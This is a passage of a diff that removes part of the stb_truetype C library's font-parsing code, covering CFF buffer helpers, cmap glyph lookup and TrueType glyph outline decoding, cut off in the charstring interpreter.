STBTT_MAX_OVERSAMPLE 8 -#endif - -#if STBTT_MAX_OVERSAMPLE > 255 -#error "STBTT_MAX_OVERSAMPLE cannot be > 255" -#endif - -typedef int stbtt__test_oversample_pow2[(STBTT_MAX_OVERSAMPLE & (STBTT_MAX_OVERSAMPLE-1)) == 0 ? 1 : -1]; - -#ifndef STBTT_RASTERIZER_VERSION -#define STBTT_RASTERIZER_VERSION 2 -#endif - -#ifdef _MSC_VER -#define STBTT__NOTUSED(v) (void)(v) -#else -#define STBTT__NOTUSED(v) (void)sizeof(v) -#endif - -////////////////////////////////////////////////////////////////////////// -// -// stbtt__buf helpers to parse data from file -// - -static stbtt_uint8 stbtt__buf_get8(stbtt__buf *b) -{ - if (b->cursor >= b->size) - return 0; - return b->data[b->cursor++]; -} - -static stbtt_uint8 stbtt__buf_peek8(stbtt__buf *b) -{ - if (b->cursor >= b->size) - return 0; - return b->data[b->cursor]; -} - -static void stbtt__buf_seek(stbtt__buf *b, int o) -{ - STBTT_assert(!(o > b->size || o < 0)); - b->cursor = (o > b->size || o < 0) ? b->size : o; -} - -static void stbtt__buf_skip(stbtt__buf *b, int o) -{ - stbtt__buf_seek(b, b->cursor + o); -} - -static stbtt_uint32 stbtt__buf_get(stbtt__buf *b, int n) -{ - stbtt_uint32 v = 0; - int i; - STBTT_assert(n >= 1 && n <= 4); - for (i = 0; i < n; i++) - v = (v << 8) | stbtt__buf_get8(b); - return v; -} - -static stbtt__buf stbtt__new_buf(const void *p, size_t size) -{ - stbtt__buf r; - STBTT_assert(size < 0x40000000); - r.data = (stbtt_uint8*) p; - r.size = (int) size; - r.cursor = 0; - return r; -} - -#define stbtt__buf_get16(b) stbtt__buf_get((b), 2) -#define stbtt__buf_get32(b) stbtt__buf_get((b), 4) - -static stbtt__buf stbtt__buf_range(const stbtt__buf *b, int o, int s) -{ - stbtt__buf r = stbtt__new_buf(NULL, 0); - if (o < 0 || s < 0 || o > b->size || s > b->size - o) return r; - r.data = b->data + o; - r.size = s; - return r; -} - -static stbtt__buf stbtt__cff_get_index(stbtt__buf *b) -{ - int count, start, offsize; - start = b->cursor; - count = stbtt__buf_get16(b); - if (count) { - offsize = stbtt__buf_get8(b); - STBTT_assert(offsize >= 1 && offsize <= 4); - stbtt__buf_skip(b, offsize * count); - stbtt__buf_skip(b, stbtt__buf_get(b, offsize) - 1); - } - return stbtt__buf_range(b, start, b->cursor - start); -} - -static stbtt_uint32 stbtt__cff_int(stbtt__buf *b) -{ - int b0 = stbtt__buf_get8(b); - if (b0 >= 32 && b0 <= 246) return b0 - 139; - else if (b0 >= 247 && b0 <= 250) return (b0 - 247)*256 + stbtt__buf_get8(b) + 108; - else if (b0 >= 251 && b0 <= 254) return -(b0 - 251)*256 - stbtt__buf_get8(b) - 108; - else if (b0 == 28) return stbtt__buf_get16(b); - else if (b0 == 29) return stbtt__buf_get32(b); - STBTT_assert(0); - return 0; -} - -static void stbtt__cff_skip_operand(stbtt__buf *b) { - int v, b0 = stbtt__buf_peek8(b); - STBTT_assert(b0 >= 28); - if (b0 == 30) { - stbtt__buf_skip(b, 1); - while (b->cursor < b->size) { - v = stbtt__buf_get8(b); - if ((v & 0xF) == 0xF || (v >> 4) == 0xF) - break; - } - } else { - stbtt__cff_int(b); - } -} - -static stbtt__buf stbtt__dict_get(stbtt__buf *b, int key) -{ - stbtt__buf_seek(b, 0); - while (b->cursor < b->size) { - int start = b->cursor, end, op; - while (stbtt__buf_peek8(b) >= 28) - stbtt__cff_skip_operand(b); - end = b->cursor; - op = stbtt__buf_get8(b); - if (op == 12) op = stbtt__buf_get8(b) | 0x100; - if (op == key) return stbtt__buf_range(b, start, end-start); - } - return stbtt__buf_range(b, 0, 0); -} - -static void stbtt__dict_get_ints(stbtt__buf *b, int key, int outcount, stbtt_uint32 *out) -{ - int i; - stbtt__buf operands = stbtt__dict_get(b, key); - for (i = 0; i < outcount && operands.cursor < operands.size; i++) - out[i] = stbtt__cff_int(&operands); -} - -static int stbtt__cff_index_count(stbtt__buf *b) -{ - stbtt__buf_seek(b, 0); - return stbtt__buf_get16(b); -} - -static stbtt__buf stbtt__cff_index_get(stbtt__buf b, int i) -{ - int count, offsize, start, end; - stbtt__buf_seek(&b, 0); - count = stbtt__buf_get16(&b); - offsize = stbtt__buf_get8(&b); - STBTT_assert(i >= 0 && i < count); - STBTT_assert(offsize >= 1 && offsize <= 4); - stbtt__buf_skip(&b, i*offsize); - start = stbtt__buf_get(&b, offsize); - end = stbtt__buf_get(&b, offsize); - return stbtt__buf_range(&b, 2+(count+1)*offsize+start, end - start); -} - -////////////////////////////////////////////////////////////////////////// -// -// accessors to parse data from file -// - -// on platforms that don't allow misaligned reads, if we want to allow -// truetype fonts that aren't padded to alignment, define ALLOW_UNALIGNED_TRUETYPE - -#define ttBYTE(p) (* (stbtt_uint8 *) (p)) -#define ttCHAR(p) (* (stbtt_int8 *) (p)) -#define ttFixed(p) ttLONG(p) - -static stbtt_uint16 ttUSHORT(stbtt_uint8 *p) { return p[0]*256 + p[1]; } -static stbtt_int16 ttSHORT(stbtt_uint8 *p) { return p[0]*256 + p[1]; } -static stbtt_uint32 ttULONG(stbtt_uint8 *p) { return (p[0]<<24) + (p[1]<<16) + (p[2]<<8) + p[3]; } -static stbtt_int32 ttLONG(stbtt_uint8 *p) { return (p[0]<<24) + (p[1]<<16) + (p[2]<<8) + p[3]; } - -#define stbtt_tag4(p,c0,c1,c2,c3) ((p)[0] == (c0) && (p)[1] == (c1) && (p)[2] == (c2) && (p)[3] == (c3)) -#define stbtt_tag(p,str) stbtt_tag4(p,str[0],str[1],str[2],str[3]) - -static int stbtt__isfont(stbtt_uint8 *font) -{ - // check the version number - if (stbtt_tag4(font, '1',0,0,0)) return 1; // TrueType 1 - if (stbtt_tag(font, "typ1")) return 1; // TrueType with type 1 font -- we don't support this! - if (stbtt_tag(font, "OTTO")) return 1; // OpenType with CFF - if (stbtt_tag4(font, 0,1,0,0)) return 1; // OpenType 1.0 - if (stbtt_tag(font, "true")) return 1; // Apple specification for TrueType fonts - return 0; -} - -// @OPTIMIZE: binary search -static stbtt_uint32 stbtt__find_table(stbtt_uint8 *data, stbtt_uint32 fontstart, const char *tag) -{ - stbtt_int32 num_tables = ttUSHORT(data+fontstart+4); - stbtt_uint32 tabledir = fontstart + 12; - stbtt_int32 i; - for (i=0; i < num_tables; ++i) { - stbtt_uint32 loc = tabledir + 16*i; - if (stbtt_tag(data+loc+0, tag)) - return ttULONG(data+loc+8); - } - return 0; -} - -static int stbtt_GetFontOffsetForIndex_internal(unsigned char *font_collection, int index) -{ - // if it's just a font, there's only one valid index - if (stbtt__isfont(font_collection)) - return index == 0 ? 0 : -1; - - // check if it's a TTC - if (stbtt_tag(font_collection, "ttcf")) { - // version 1? - if (ttULONG(font_collection+4) == 0x00010000 || ttULONG(font_collection+4) == 0x00020000) { - stbtt_int32 n = ttLONG(font_collection+8); - if (index >= n) - return -1; - return ttULONG(font_collection+12+index*4); - } - } - return -1; -} - -static int stbtt_GetNumberOfFonts_internal(unsigned char *font_collection) -{ - // if it's just a font, there's only one valid font - if (stbtt__isfont(font_collection)) - return 1; - - // check if it's a TTC - if (stbtt_tag(font_collection, "ttcf")) { - // version 1? - if (ttULONG(font_collection+4) == 0x00010000 || ttULONG(font_collection+4) == 0x00020000) { - return ttLONG(font_collection+8); - } - } - return 0; -} - -static stbtt__buf stbtt__get_subrs(stbtt__buf cff, stbtt__buf fontdict) -{ - stbtt_uint32 subrsoff = 0, private_loc[2] = { 0, 0 }; - stbtt__buf pdict; - stbtt__dict_get_ints(&fontdict, 18, 2, private_loc); - if (!private_loc[1] || !private_loc[0]) return stbtt__new_buf(NULL, 0); - pdict = stbtt__buf_range(&cff, private_loc[1], private_loc[0]); - stbtt__dict_get_ints(&pdict, 19, 1, &subrsoff); - if (!subrsoff) return stbtt__new_buf(NULL, 0); - stbtt__buf_seek(&cff, private_loc[1]+subrsoff); - return stbtt__cff_get_index(&cff); -} - -static int stbtt_InitFont_internal(stbtt_fontinfo *info, unsigned char *data, int fontstart) -{ - stbtt_uint32 cmap, t; - stbtt_int32 i,numTables; - - info->data = data; - info->fontstart = fontstart; - info->cff = stbtt__new_buf(NULL, 0); - - cmap = stbtt__find_table(data, fontstart, "cmap"); // required - info->loca = stbtt__find_table(data, fontstart, "loca"); // required - info->head = stbtt__find_table(data, fontstart, "head"); // required - info->glyf = stbtt__find_table(data, fontstart, "glyf"); // required - info->hhea = stbtt__find_table(data, fontstart, "hhea"); // required - info->hmtx = stbtt__find_table(data, fontstart, "hmtx"); // required - info->kern = stbtt__find_table(data, fontstart, "kern"); // not required - info->gpos = stbtt__find_table(data, fontstart, "GPOS"); // not required - - if (!cmap || !info->head || !info->hhea || !info->hmtx) - return 0; - if (info->glyf) { - // required for truetype - if (!info->loca) return 0; - } else { - // initialization for CFF / Type2 fonts (OTF) - stbtt__buf b, topdict, topdictidx; - stbtt_uint32 cstype = 2, charstrings = 0, fdarrayoff = 0, fdselectoff = 0; - stbtt_uint32 cff; - - cff = stbtt__find_table(data, fontstart, "CFF "); - if (!cff) return 0; - - info->fontdicts = stbtt__new_buf(NULL, 0); - info->fdselect = stbtt__new_buf(NULL, 0); - - // @TODO this should use size from table (not 512MB) - info->cff = stbtt__new_buf(data+cff, 512*1024*1024); - b = info->cff; - - // read the header - stbtt__buf_skip(&b, 2); - stbtt__buf_seek(&b, stbtt__buf_get8(&b)); // hdrsize - - // @TODO the name INDEX could list multiple fonts, - // but we just use the first one. - stbtt__cff_get_index(&b); // name INDEX - topdictidx = stbtt__cff_get_index(&b); - topdict = stbtt__cff_index_get(topdictidx, 0); - stbtt__cff_get_index(&b); // string INDEX - info->gsubrs = stbtt__cff_get_index(&b); - - stbtt__dict_get_ints(&topdict, 17, 1, &charstrings); - stbtt__dict_get_ints(&topdict, 0x100 | 6, 1, &cstype); - stbtt__dict_get_ints(&topdict, 0x100 | 36, 1, &fdarrayoff); - stbtt__dict_get_ints(&topdict, 0x100 | 37, 1, &fdselectoff); - info->subrs = stbtt__get_subrs(b, topdict); - - // we only support Type 2 charstrings - if (cstype != 2) return 0; - if (charstrings == 0) return 0; - - if (fdarrayoff) { - // looks like a CID font - if (!fdselectoff) return 0; - stbtt__buf_seek(&b, fdarrayoff); - info->fontdicts = stbtt__cff_get_index(&b); - info->fdselect = stbtt__buf_range(&b, fdselectoff, b.size-fdselectoff); - } - - stbtt__buf_seek(&b, charstrings); - info->charstrings = stbtt__cff_get_index(&b); - } - - t = stbtt__find_table(data, fontstart, "maxp"); - if (t) - info->numGlyphs = ttUSHORT(data+t+4); - else - info->numGlyphs = 0xffff; - - // find a cmap encoding table we understand *now* to avoid searching - // later. (todo: could make this installable) - // the same regardless of glyph. - numTables = ttUSHORT(data + cmap + 2); - info->index_map = 0; - for (i=0; i < numTables; ++i) { - stbtt_uint32 encoding_record = cmap + 4 + 8 * i; - // find an encoding we understand: - switch(ttUSHORT(data+encoding_record)) { - case STBTT_PLATFORM_ID_MICROSOFT: - switch (ttUSHORT(data+encoding_record+2)) { - case STBTT_MS_EID_UNICODE_BMP: - case STBTT_MS_EID_UNICODE_FULL: - // MS/Unicode - info->index_map = cmap + ttULONG(data+encoding_record+4); - break; - } - break; - case STBTT_PLATFORM_ID_UNICODE: - // Mac/iOS has these - // all the encodingIDs are unicode, so we don't bother to check it - info->index_map = cmap + ttULONG(data+encoding_record+4); - break; - } - } - if (info->index_map == 0) - return 0; - - info->indexToLocFormat = ttUSHORT(data+info->head + 50); - return 1; -} - -STBTT_DEF int stbtt_FindGlyphIndex(const stbtt_fontinfo *info, int unicode_codepoint) -{ - stbtt_uint8 *data = info->data; - stbtt_uint32 index_map = info->index_map; - - stbtt_uint16 format = ttUSHORT(data + index_map + 0); - if (format == 0) { // apple byte encoding - stbtt_int32 bytes = ttUSHORT(data + index_map + 2); - if (unicode_codepoint < bytes-6) - return ttBYTE(data + index_map + 6 + unicode_codepoint); - return 0; - } else if (format == 6) { - stbtt_uint32 first = ttUSHORT(data + index_map + 6); - stbtt_uint32 count = ttUSHORT(data + index_map + 8); - if ((stbtt_uint32) unicode_codepoint >= first && (stbtt_uint32) unicode_codepoint < first+count) - return ttUSHORT(data + index_map + 10 + (unicode_codepoint - first)*2); - return 0; - } else if (format == 2) { - STBTT_assert(0); // @TODO: high-byte mapping for japanese/chinese/korean - return 0; - } else if (format == 4) { // standard mapping for windows fonts: binary search collection of ranges - stbtt_uint16 segcount = ttUSHORT(data+index_map+6) >> 1; - stbtt_uint16 searchRange = ttUSHORT(data+index_map+8) >> 1; - stbtt_uint16 entrySelector = ttUSHORT(data+index_map+10); - stbtt_uint16 rangeShift = ttUSHORT(data+index_map+12) >> 1; - - // do a binary search of the segments - stbtt_uint32 endCount = index_map + 14; - stbtt_uint32 search = endCount; - - if (unicode_codepoint > 0xffff) - return 0; - - // they lie from endCount .. endCount + segCount - // but searchRange is the nearest power of two, so... - if (unicode_codepoint >= ttUSHORT(data + search + rangeShift*2)) - search += rangeShift*2; - - // now decrement to bias correctly to find smallest - search -= 2; - while (entrySelector) { - stbtt_uint16 end; - searchRange >>= 1; - end = ttUSHORT(data + search + searchRange*2); - if (unicode_codepoint > end) - search += searchRange*2; - --entrySelector; - } - search += 2; - - { - stbtt_uint16 offset, start; - stbtt_uint16 item = (stbtt_uint16) ((search - endCount) >> 1); - - STBTT_assert(unicode_codepoint <= ttUSHORT(data + endCount + 2*item)); - start = ttUSHORT(data + index_map + 14 + segcount*2 + 2 + 2*item); - if (unicode_codepoint < start) - return 0; - - offset = ttUSHORT(data + index_map + 14 + segcount*6 + 2 + 2*item); - if (offset == 0) - return (stbtt_uint16) (unicode_codepoint + ttSHORT(data + index_map + 14 + segcount*4 + 2 + 2*item)); - - return ttUSHORT(data + offset + (unicode_codepoint-start)*2 + index_map + 14 + segcount*6 + 2 + 2*item); - } - } else if (format == 12 || format == 13) { - stbtt_uint32 ngroups = ttULONG(data+index_map+12); - stbtt_int32 low,high; - low = 0; high = (stbtt_int32)ngroups; - // Binary search the right group. - while (low < high) { - stbtt_int32 mid = low + ((high-low) >> 1); // rounds down, so low <= mid < high - stbtt_uint32 start_char = ttULONG(data+index_map+16+mid*12); - stbtt_uint32 end_char = ttULONG(data+index_map+16+mid*12+4); - if ((stbtt_uint32) unicode_codepoint < start_char) - high = mid; - else if ((stbtt_uint32) unicode_codepoint > end_char) - low = mid+1; - else { - stbtt_uint32 start_glyph = ttULONG(data+index_map+16+mid*12+8); - if (format == 12) - return start_glyph + unicode_codepoint-start_char; - else // format == 13 - return start_glyph; - } - } - return 0; // not found - } - // @TODO - STBTT_assert(0); - return 0; -} - -STBTT_DEF int stbtt_GetCodepointShape(const stbtt_fontinfo *info, int unicode_codepoint, stbtt_vertex **vertices) -{ - return stbtt_GetGlyphShape(info, stbtt_FindGlyphIndex(info, unicode_codepoint), vertices); -} - -static void stbtt_setvertex(stbtt_vertex *v, stbtt_uint8 type, stbtt_int32 x, stbtt_int32 y, stbtt_int32 cx, stbtt_int32 cy) -{ - v->type = type; - v->x = (stbtt_int16) x; - v->y = (stbtt_int16) y; - v->cx = (stbtt_int16) cx; - v->cy = (stbtt_int16) cy; -} - -static int stbtt__GetGlyfOffset(const stbtt_fontinfo *info, int glyph_index) -{ - int g1,g2; - - STBTT_assert(!info->cff.size); - - if (glyph_index >= info->numGlyphs) return -1; // glyph index out of range - if (info->indexToLocFormat >= 2) return -1; // unknown index->glyph map format - - if (info->indexToLocFormat == 0) { - g1 = info->glyf + ttUSHORT(info->data + info->loca + glyph_index * 2) * 2; - g2 = info->glyf + ttUSHORT(info->data + info->loca + glyph_index * 2 + 2) * 2; - } else { - g1 = info->glyf + ttULONG (info->data + info->loca + glyph_index * 4); - g2 = info->glyf + ttULONG (info->data + info->loca + glyph_index * 4 + 4); - } - - return g1==g2 ? -1 : g1; // if length is 0, return -1 -} - -static int stbtt__GetGlyphInfoT2(const stbtt_fontinfo *info, int glyph_index, int *x0, int *y0, int *x1, int *y1); - -STBTT_DEF int stbtt_GetGlyphBox(const stbtt_fontinfo *info, int glyph_index, int *x0, int *y0, int *x1, int *y1) -{ - if (info->cff.size) { - stbtt__GetGlyphInfoT2(info, glyph_index, x0, y0, x1, y1); - } else { - int g = stbtt__GetGlyfOffset(info, glyph_index); - if (g < 0) return 0; - - if (x0) *x0 = ttSHORT(info->data + g + 2); - if (y0) *y0 = ttSHORT(info->data + g + 4); - if (x1) *x1 = ttSHORT(info->data + g + 6); - if (y1) *y1 = ttSHORT(info->data + g + 8); - } - return 1; -} - -STBTT_DEF int stbtt_GetCodepointBox(const stbtt_fontinfo *info, int codepoint, int *x0, int *y0, int *x1, int *y1) -{ - return stbtt_GetGlyphBox(info, stbtt_FindGlyphIndex(info,codepoint), x0,y0,x1,y1); -} - -STBTT_DEF int stbtt_IsGlyphEmpty(const stbtt_fontinfo *info, int glyph_index) -{ - stbtt_int16 numberOfContours; - int g; - if (info->cff.size) - return stbtt__GetGlyphInfoT2(info, glyph_index, NULL, NULL, NULL, NULL) == 0; - g = stbtt__GetGlyfOffset(info, glyph_index); - if (g < 0) return 1; - numberOfContours = ttSHORT(info->data + g); - return numberOfContours == 0; -} - -static int stbtt__close_shape(stbtt_vertex *vertices, int num_vertices, int was_off, int start_off, - stbtt_int32 sx, stbtt_int32 sy, stbtt_int32 scx, stbtt_int32 scy, stbtt_int32 cx, stbtt_int32 cy) -{ - if (start_off) { - if (was_off) - stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve, (cx+scx)>>1, (cy+scy)>>1, cx,cy); - stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve, sx,sy,scx,scy); - } else { - if (was_off) - stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve,sx,sy,cx,cy); - else - stbtt_setvertex(&vertices[num_vertices++], STBTT_vline,sx,sy,0,0); - } - return num_vertices; -} - -static int stbtt__GetGlyphShapeTT(const stbtt_fontinfo *info, int glyph_index, stbtt_vertex **pvertices) -{ - stbtt_int16 numberOfContours; - stbtt_uint8 *endPtsOfContours; - stbtt_uint8 *data = info->data; - stbtt_vertex *vertices=0; - int num_vertices=0; - int g = stbtt__GetGlyfOffset(info, glyph_index); - - *pvertices = NULL; - - if (g < 0) return 0; - - numberOfContours = ttSHORT(data + g); - - if (numberOfContours > 0) { - stbtt_uint8 flags=0,flagcount; - stbtt_int32 ins, i,j=0,m,n, next_move, was_off=0, off, start_off=0; - stbtt_int32 x,y,cx,cy,sx,sy, scx,scy; - stbtt_uint8 *points; - endPtsOfContours = (data + g + 10); - ins = ttUSHORT(data + g + 10 + numberOfContours * 2); - points = data + g + 10 + numberOfContours * 2 + 2 + ins; - - n = 1+ttUSHORT(endPtsOfContours + numberOfContours*2-2); - - m = n + 2*numberOfContours; // a loose bound on how many vertices we might need - vertices = (stbtt_vertex *) STBTT_malloc(m * sizeof(vertices[0]), info->userdata); - if (vertices == 0) - return 0; - - next_move = 0; - flagcount=0; - - // in first pass, we load uninterpreted data into the allocated array - // above, shifted to the end of the array so we won't overwrite it when - // we create our final data starting from the front - - off = m - n; // starting offset for uninterpreted data, regardless of how m ends up being calculated - - // first load flags - - for (i=0; i < n; ++i) { - if (flagcount == 0) { - flags = *points++; - if (flags & 8) - flagcount = *points++; - } else - --flagcount; - vertices[off+i].type = flags; - } - - // now load x coordinates - x=0; - for (i=0; i < n; ++i) { - flags = vertices[off+i].type; - if (flags & 2) { - stbtt_int16 dx = *points++; - x += (flags & 16) ? dx : -dx; // ??? - } else { - if (!(flags & 16)) { - x = x + (stbtt_int16) (points[0]*256 + points[1]); - points += 2; - } - } - vertices[off+i].x = (stbtt_int16) x; - } - - // now load y coordinates - y=0; - for (i=0; i < n; ++i) { - flags = vertices[off+i].type; - if (flags & 4) { - stbtt_int16 dy = *points++; - y += (flags & 32) ? dy : -dy; // ??? - } else { - if (!(flags & 32)) { - y = y + (stbtt_int16) (points[0]*256 + points[1]); - points += 2; - } - } - vertices[off+i].y = (stbtt_int16) y; - } - - // now convert them to our format - num_vertices=0; - sx = sy = cx = cy = scx = scy = 0; - for (i=0; i < n; ++i) { - flags = vertices[off+i].type; - x = (stbtt_int16) vertices[off+i].x; - y = (stbtt_int16) vertices[off+i].y; - - if (next_move == i) { - if (i != 0) - num_vertices = stbtt__close_shape(vertices, num_vertices, was_off, start_off, sx,sy,scx,scy,cx,cy); - - // now start the new one - start_off = !(flags & 1); - if (start_off) { - // if we start off with an off-curve point, then when we need to find a point on the curve - // where we can start, and we need to save some state for when we wraparound. - scx = x; - scy = y; - if (!(vertices[off+i+1].type & 1)) { - // next point is also a curve point, so interpolate an on-point curve - sx = (x + (stbtt_int32) vertices[off+i+1].x) >> 1; - sy = (y + (stbtt_int32) vertices[off+i+1].y) >> 1; - } else { - // otherwise just use the next point as our start point - sx = (stbtt_int32) vertices[off+i+1].x; - sy = (stbtt_int32) vertices[off+i+1].y; - ++i; // we're using point i+1 as the starting point, so skip it - } - } else { - sx = x; - sy = y; - } - stbtt_setvertex(&vertices[num_vertices++], STBTT_vmove,sx,sy,0,0); - was_off = 0; - next_move = 1 + ttUSHORT(endPtsOfContours+j*2); - ++j; - } else { - if (!(flags & 1)) { // if it's a curve - if (was_off) // two off-curve control points in a row means interpolate an on-curve midpoint - stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve, (cx+x)>>1, (cy+y)>>1, cx, cy); - cx = x; - cy = y; - was_off = 1; - } else { - if (was_off) - stbtt_setvertex(&vertices[num_vertices++], STBTT_vcurve, x,y, cx, cy); - else - stbtt_setvertex(&vertices[num_vertices++], STBTT_vline, x,y,0,0); - was_off = 0; - } - } - } - num_vertices = stbtt__close_shape(vertices, num_vertices, was_off, start_off, sx,sy,scx,scy,cx,cy); - } else if (numberOfContours == -1) { - // Compound shapes. - int more = 1; - stbtt_uint8 *comp = data + g + 10; - num_vertices = 0; - vertices = 0; - while (more) { - stbtt_uint16 flags, gidx; - int comp_num_verts = 0, i; - stbtt_vertex *comp_verts = 0, *tmp = 0; - float mtx[6] = {1,0,0,1,0,0}, m, n; - - flags = ttSHORT(comp); comp+=2; - gidx = ttSHORT(comp); comp+=2; - - if (flags & 2) { // XY values - if (flags & 1) { // shorts - mtx[4] = ttSHORT(comp); comp+=2; - mtx[5] = ttSHORT(comp); comp+=2; - } else { - mtx[4] = ttCHAR(comp); comp+=1; - mtx[5] = ttCHAR(comp); comp+=1; - } - } - else { - // @TODO handle matching point - STBTT_assert(0); - } - if (flags & (1<<3)) { // WE_HAVE_A_SCALE - mtx[0] = mtx[3] = ttSHORT(comp)/16384.0f; comp+=2; - mtx[1] = mtx[2] = 0; - } else if (flags & (1<<6)) { // WE_HAVE_AN_X_AND_YSCALE - mtx[0] = ttSHORT(comp)/16384.0f; comp+=2; - mtx[1] = mtx[2] = 0; - mtx[3] = ttSHORT(comp)/16384.0f; comp+=2; - } else if (flags & (1<<7)) { // WE_HAVE_A_TWO_BY_TWO - mtx[0] = ttSHORT(comp)/16384.0f; comp+=2; - mtx[1] = ttSHORT(comp)/16384.0f; comp+=2; - mtx[2] = ttSHORT(comp)/16384.0f; comp+=2; - mtx[3] = ttSHORT(comp)/16384.0f; comp+=2; - } - - // Find transformation scales. - m = (float) STBTT_sqrt(mtx[0]*mtx[0] + mtx[1]*mtx[1]); - n = (float) STBTT_sqrt(mtx[2]*mtx[2] + mtx[3]*mtx[3]); - - // Get indexed glyph. - comp_num_verts = stbtt_GetGlyphShape(info, gidx, &comp_verts); - if (comp_num_verts > 0) { - // Transform vertices. - for (i = 0; i < comp_num_verts; ++i) { - stbtt_vertex* v = &comp_verts[i]; - stbtt_vertex_type x,y; - x=v->x; y=v->y; - v->x = (stbtt_vertex_type)(m * (mtx[0]*x + mtx[2]*y + mtx[4])); - v->y = (stbtt_vertex_type)(n * (mtx[1]*x + mtx[3]*y + mtx[5])); - x=v->cx; y=v->cy; - v->cx = (stbtt_vertex_type)(m * (mtx[0]*x + mtx[2]*y + mtx[4])); - v->cy = (stbtt_vertex_type)(n * (mtx[1]*x + mtx[3]*y + mtx[5])); - } - // Append vertices. - tmp = (stbtt_vertex*)STBTT_malloc((num_vertices+comp_num_verts)*sizeof(stbtt_vertex), info->userdata); - if (!tmp) { - if (vertices) STBTT_free(vertices, info->userdata); - if (comp_verts) STBTT_free(comp_verts, info->userdata); - return 0; - } - if (num_vertices > 0) STBTT_memcpy(tmp, vertices, num_vertices*sizeof(stbtt_vertex)); //-V595 - STBTT_memcpy(tmp+num_vertices, comp_verts, comp_num_verts*sizeof(stbtt_vertex)); - if (vertices) STBTT_free(vertices, info->userdata); - vertices = tmp; - STBTT_free(comp_verts, info->userdata); - num_vertices += comp_num_verts; - } - // More components ? - more = flags & (1<<5); - } - } else if (numberOfContours < 0) { - // @TODO other compound variations? - STBTT_assert(0); - } else { - // numberOfCounters == 0, do nothing - } - - *pvertices = vertices; - return num_vertices; -} - -typedef struct -{ - int bounds; - int started; - float first_x, first_y; - float x, y; - stbtt_int32 min_x, max_x, min_y, max_y; - - stbtt_vertex *pvertices; - int num_vertices; -} stbtt__csctx; - -#define STBTT__CSCTX_INIT(bounds) {bounds,0, 0,0, 0,0, 0,0,0,0, NULL, 0} - -static void stbtt__track_vertex(stbtt__csctx *c, stbtt_int32 x, stbtt_int32 y) -{ - if (x > c->max_x || !c->started) c->max_x = x; - if (y > c->max_y || !c->started) c->max_y = y; - if (x < c->min_x || !c->started) c->min_x = x; - if (y < c->min_y || !c->started) c->min_y = y; - c->started = 1; -} - -static void stbtt__csctx_v(stbtt__csctx *c, stbtt_uint8 type, stbtt_int32 x, stbtt_int32 y, stbtt_int32 cx, stbtt_int32 cy, stbtt_int32 cx1, stbtt_int32 cy1) -{ - if (c->bounds) { - stbtt__track_vertex(c, x, y); - if (type == STBTT_vcubic) { - stbtt__track_vertex(c, cx, cy); - stbtt__track_vertex(c, cx1, cy1); - } - } else { - stbtt_setvertex(&c->pvertices[c->num_vertices], type, x, y, cx, cy); - c->pvertices[c->num_vertices].cx1 = (stbtt_int16) cx1; - c->pvertices[c->num_vertices].cy1 = (stbtt_int16) cy1; - } - c->num_vertices++; -} - -static void stbtt__csctx_close_shape(stbtt__csctx *ctx) -{ - if (ctx->first_x != ctx->x || ctx->first_y != ctx->y) - stbtt__csctx_v(ctx, STBTT_vline, (int)ctx->first_x, (int)ctx->first_y, 0, 0, 0, 0); -} - -static void stbtt__csctx_rmove_to(stbtt__csctx *ctx, float dx, float dy) -{ - stbtt__csctx_close_shape(ctx); - ctx->first_x = ctx->x = ctx->x + dx; - ctx->first_y = ctx->y = ctx->y + dy; - stbtt__csctx_v(ctx, STBTT_vmove, (int)ctx->x, (int)ctx->y, 0, 0, 0, 0); -} - -static void stbtt__csctx_rline_to(stbtt__csctx *ctx, float dx, float dy) -{ - ctx->x += dx; - ctx->y += dy; - stbtt__csctx_v(ctx, STBTT_vline, (int)ctx->x, (int)ctx->y, 0, 0, 0, 0); -} - -static void stbtt__csctx_rccurve_to(stbtt__csctx *ctx, float dx1, float dy1, float dx2, float dy2, float dx3, float dy3) -{ - float cx1 = ctx->x + dx1; - float cy1 = ctx->y + dy1; - float cx2 = cx1 + dx2; - float cy2 = cy1 + dy2; - ctx->x = cx2 + dx3; - ctx->y = cy2 + dy3; - stbtt__csctx_v(ctx, STBTT_vcubic, (int)ctx->x, (int)ctx->y, (int)cx1, (int)cy1, (int)cx2, (int)cy2); -} - -static stbtt__buf stbtt__get_subr(stbtt__buf idx, int n) -{ - int count = stbtt__cff_index_count(&idx); - int bias = 107; - if (count >= 33900) - bias = 32768; - else if (count >= 1240) - bias = 1131; - n += bias; - if (n < 0 || n >= count) - return stbtt__new_buf(NULL, 0); - return stbtt__cff_index_get(idx, n); -} - -static stbtt__buf stbtt__cid_get_glyph_subrs(const stbtt_fontinfo *info, int glyph_index) -{ - stbtt__buf fdselect = info->fdselect; - int nranges, start, end, v, fmt, fdselector = -1, i; - - stbtt__buf_seek(&fdselect, 0); - fmt = stbtt__buf_get8(&fdselect); - if (fmt == 0) { - // untested - stbtt__buf_skip(&fdselect, glyph_index); - fdselector = stbtt__buf_get8(&fdselect); - } else if (fmt == 3) { - nranges = stbtt__buf_get16(&fdselect); - start = stbtt__buf_get16(&fdselect); - for (i = 0; i < nranges; i++) { - v = stbtt__buf_get8(&fdselect); - end = stbtt__buf_get16(&fdselect); - if (glyph_index >= start && glyph_index < end) { - fdselector = v; - break; - } - start = end; - } - } - if (fdselector == -1) stbtt__new_buf(NULL, 0); - return stbtt__get_subrs(info->cff, stbtt__cff_index_get(info->fontdicts, fdselector)); -} - -static int stbtt__run_charstring(const stbtt_fontinfo *info, int glyph_index, stbtt__csctx *c) -{ - int in_header = 1, maskbits = 0, subr_stack_height = 0, sp = 0, v, i, b0; - int has_subrs = 0, clear_stack; - float s[48]; - stbtt__buf subr_stack[10], subrs = info->subrs, b; - float f; - -#define STBTT__CSERR(s) (0) - - // this currently ignores the initial width value, which isn't needed if we have hmtx - b = stbtt__cff_index_get(info->charstrings, glyph_index); - while (b.cursor < b.size) { - i = 0; - clear_stack = 1; - b0 = stbtt__buf_get8(&b); - switch (b0) { - // @TODO implement hinting - case 0x13: // hintmask - case 0x14: // cntrmask - if (in_header) - maskbits += (sp / 2); // implicit "vstem" - in_header = 0; - stbtt__buf_skip(&b, (maskbits + 7) / 8); - break; - - case 0x01: // hstem - case 0x03: // vstem - case 0x12: // hstemhm - case 0x17: // vstemhm - maskbits += (sp / 2); - break; - - case 0x15: // rmoveto - in_header = 0; - if (sp < 2) return STBTT__CSERR("rmoveto stack"); - stbtt__csctx_rmove_to(c, s[sp-2], 